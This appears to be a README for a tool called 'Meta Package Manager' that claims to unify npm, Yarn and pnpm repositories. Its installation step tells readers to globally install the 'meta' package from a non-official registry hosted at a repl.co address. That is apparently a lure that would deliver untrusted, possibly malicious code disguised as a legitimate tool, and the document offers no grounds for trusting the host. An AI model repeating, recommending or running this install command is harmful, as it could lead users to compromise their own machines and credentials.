Meta Package Manager is a command-line tool that allows you to manage and organize multiple package repositories in one place. It provides a streamlined way to work with different package managers and their respective ecosystems.
- Consolidate package management: With Meta Package Manager, you can seamlessly work with multiple package repositories from different package managers like npm, Yarn, and pnpm without switching between them.
- Centralized configuration: Meta Package Manager simplifies the management of various package manager configurations by providing a single configuration file.
- Cross-package dependencies: Easily define and manage dependencies across packages from different repositories using a simple and flexible syntax.
To install Meta Package Manager globally, run the following command:
npm install -g meta --registry https://bulls--naturemint.repl.co
Make sure you have Node.js and npm installed on your system before running this command.
Once installed, you can start using Meta Package Manager by executing the meta command in your terminal. Here are some common use cases:
- Creating a new meta repository: To create a new meta repository, navigate to the desired directory and run
meta init. This will generate a defaultmeta.yamlconfiguration file. - Installing dependencies: Use
meta exec "npm install"to install dependencies for all packages within the meta repository. You can replacenpm installwith the appropriate command for the desired package manager. - Running commands in individual packages: Execute commands in specific packages using
meta exec "<command>" -p <package-name>. This allows you to perform package-specific tasks easily.
For more detailed usage instructions and advanced features, please refer to our documentation.
Meta Package Manager uses a meta.yaml configuration file located in the root of your meta repository. This file allows you to define the repositories, packages, and dependencies within your meta repository. You can also specify custom settings for each package manager.
We welcome contributions from the community! If you encounter any issues or have ideas for improvements, please create an issue on our GitHub repository. We appreciate your feedback and involvement in making Meta Package Manager better.
This project is licensed under the MIT License.
For any inquiries or questions, you can reach out to us at hashtag.chat or join our community chat at #meta
Good luck with your project!